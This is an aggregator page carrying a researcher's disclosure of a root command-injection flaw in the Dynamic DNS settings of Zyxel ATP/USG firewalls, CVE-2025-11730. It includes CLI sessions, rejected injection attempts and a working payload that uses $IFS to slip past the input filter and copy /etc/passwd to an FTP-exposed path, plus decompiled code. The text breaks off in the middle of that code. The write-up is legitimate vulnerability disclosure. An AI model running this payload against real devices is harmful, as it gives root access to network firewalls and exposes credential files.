Security News

Cybersecurity news aggregator

🔓
CRITICAL Vulnerabilities Reddit r/netsec

CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)

CVE-2025-11730 describes a remote code execution vulnerability in ZYXEL ATP/USG series devices running ZLD V5.41. By configuring a Dynamic DNS (DDNS) profile with a crafted URL in the `public-ip-url` parameter, an attacker can inject shell commands that are then executed by the device with root privileges. The device uses `curl` to query the specified URL, and the response is written to a file, allowing for command injection via shell variables to bypass input restrictions. There is no mention of a patch or workaround in this article.
Read Full Article →

Back to Blog Share ZYXEL Remote Code Execution ZLD 5.41 CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) February 5, 2026 4 min read Most of the time, the solution is obvious once you stop overthinking. - Anonymous ZYXEL Remote Code Execution via DDNS profile configuration Introduction During my routine research on ZYXEL devices I revisited an analysis I had put aside: the Dynamic DNS Feature . This section manages the firewall's dynamic DNS service, used when the public IP is dynamic and must be updated each time it changes. In this article I show how, by configuring a DDNS Profile with a crafted URL , it is possible to obtain a root shell . \o/ CLI Overview In the DDNS profile configuration you can specify which URL the device will query to determine its public IP. This is done by setting the public-ip-url parameter to a string that must begin with http:// or https:// . CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) Router > # Hello ZySH! Router > configure terminal Router ( config ) # ip ddns profile Primario Router ( config-ip-ddns ) # public-ip-url <tab> < URL > Router ( config-ip-ddns ) # public-ip-url http://test.dev Router ( config-ip-ddns ) # exit Router ( config ) # ip ddns update Primario Router ( config ) # Let's see under the hood, what's going on. CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) Router # debug system ps | match "test.dev" 2136 2135 curl root ? 0 19 0.0 0.1 SN 8180 2716 484 2045 02:49:52 00:00 00:00:00 curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev 2135 24891 sh root ? 0 19 0.0 0.0 SN 3552 1440 276 888 02:49:52 00:00 00:00:00 sh -c curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev > /tmp/ddns_Primario_publicip The device then executes a curl to the specified URL and writes the response to /tmp/ddns_$PROFILENAME_publicip . Restrictions Analysis I tried a series of classic injections , but I got nothing. The public-ip-url parameter doesn't accept characters like {} , , , <space> , # , " , ' . It wasn't even possible to use curly braces to nest commands and their arguments, as in CVE-2025-8078 . Since the restricted characters are very few, and the most important ones are allowed like $ , ; , \ , I decided to use shell variables to encode the spaces I needed. The restriction depends on the zysh binary, which then passes the call to ddns_had , (the zyxel's daemon which run the update every N seconds.) which executes the injection without issues. Some unsuccessful injections CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) Router ( config-ip-ddns ) # public-ip-url http://;ping 1.1.1.1; % ( after 'http://;ping' ) : Parse error retval = -1 ERROR: Parse error/command not found ! Router ( config-ip-ddns ) # Example with Brackets CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) Router ( config-ip-ddns ) # public-ip-url http://;{ping,1.1.1.1}; % ( after 'http://;' ) : Parse error retval = -1 ERROR: Parse error/command not found ! Router ( config-ip-ddns ) # Examples with $IFS Turns out it actually worked-who knew? I just assumed I needed braces to make it work. It was 4 a.m., cut me some slack CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) Router ( config-ip-ddns ) # public-ip-url http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) Router > debug system ps | match "curl" 19304 19302 curl root ? 19 0 0.0 0.1 S 8180 2716 484 2045 03:19:02 00:00 00:00:00 curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c ; cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf 19302 3098 sh root ? 19 0 0.0 0.0 S 3556 1460 280 889 03:19:02 00:00 00:00:00 sh -c curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c ; cp $IFS /etc/passwd $IFS /etc/zyxel/ftp/conf/passwd.conf > /tmp/ddns_aaa_publicip ddhs_had: Crash! CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41) // /usr/sbin/ddns_had [ . . SNIP . . ] int FUN_1000a218 ( int param_1 , longlong param_2 ) { FILE * __stream ; longlong lVar1 ; int iVar2 ; int iVar3 ; char local_250 [ 256 ] ; char local_150 [ 256 ] ; char acStack_50 [ 16 ] ; undefined8 local_40 ; undefined8 local_38 ; local_150 [ 0 ] = '\0' ; local_150 [ 1 ] = '\0' ; iVar3 = param_1 + 0x640 ; memset ( local_150 + 2 , 0 , 0xfe ) ; local_250 [ 0 ] = '\0' ; local_250 [ 1 ] = '\0' ; memset ( local_250 + 2 , 0 , 0xfe ) ; if ( param_2 == 0 ) { snprintf ( local_250 , 0x100 , "curl --connect-timeout 5 --interface %s --cacert /share/cacert.pem %s > /tmp/ddns_%s_p ublicip" , param_1 + 0x20 , iVar3 , param_1 ) ; } else { snprintf ( local_250 , 0x100 , "curl --connect-timeout 5 --...

Share this article